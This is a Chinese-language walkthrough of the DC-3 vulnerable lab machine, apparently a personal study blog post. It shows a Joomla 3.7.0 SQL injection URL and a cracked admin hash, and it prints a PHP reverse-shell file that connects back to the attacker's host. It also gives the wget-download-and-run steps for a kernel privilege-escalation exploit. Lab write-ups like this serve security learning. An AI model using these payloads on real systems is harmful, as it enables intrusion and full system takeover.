DC-3

发布时间 2023-12-15 12:47:10作者: qingshanboy

dc-3

kali:192.168.43.149

dc3:192.168.43.61

image-20230619151203883

只开放了80端口

sudo nmap --script=vuln 192.168.43.61

漏洞扫描发现一个sql注入感觉有价值

joomla3.7.0有sql注入漏洞
http://192.168.43.61/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version(),0x7e),1)

手工注入一下

当前数据库:joomladb

schema_name:joomladb,mysql,performance_sche
table_name:#__associations,#__banner

image-20230619163351917

用sqlmap跑出username字段——admin

password字段——$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

密码是hash值

john爆破得到明文:snoopy

登录进入后台成功

在后台的templates点击beez3有新建文件接口

建一个php文件,内容为:

<?php
$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
#$ip为kali的ip,端口为Kali监听端口

访问:http://192.168.43.61/templates/beez3/shell.php

反弹shell成功,发现有python环境,获取交互式shell:

python -c 'import pty;pty.spawn("/bin/sh")'

whoami查看用户——www-date

cat /etc/passwd查看用户权限

image-20230619200755185

uname -a查看系统

image-20230619200850875

这里需要提权

尝试find提权:

which find
ls -l find路径
没有s不能用find提权

尝试vim提权失败

找wp

说是这个ubuntu16.04有系统漏洞可用于提权

searchsploit Ubuntu16.04找到

image-20230619203141481

打开查看这个文件

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

文件后面有个下载路径

在控制靶机shell的界面下载

wget url

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

解压 unzip 39772.zip

cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
执行完上面文件后,发现变成root用户

总结

需要了解的:

CVE-2017-8917

joomla3.7.0的sql注入漏洞

注入点:http://192.168.43.61/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version(),0x7e),1)
该Ubuntu系统提权漏洞
在写入反弹shell的php文件后,文件所在的路径怎么试出来的

发现在页面有提示:

image-20230619205214770

收获:

了解了searchsploit工具

利用sql注入得到用户名及密码,直接爆破密码登录后台

进入后台一般是找创建文件(有些模板、扩展)的接口来写木马或者反弹shell

梳理

前期的主机发现、端口探测、目录扫描、漏洞扫描都没问题

最终确定了cms的一个sql注入漏洞有利用价值

出问题的地方:sql注入不熟悉(手工打不出来)、sqlmap工具不熟悉(边查边用的)

然后爆破密码的hash值,登入后台都没问题

出问题的地方:在后台找接口写木马或弹shell的地方找了半天,还有就是shell.php所在路径寻找不熟悉

然后反弹shell成功、python获取交互式shell

出问题的地方:提权压根不会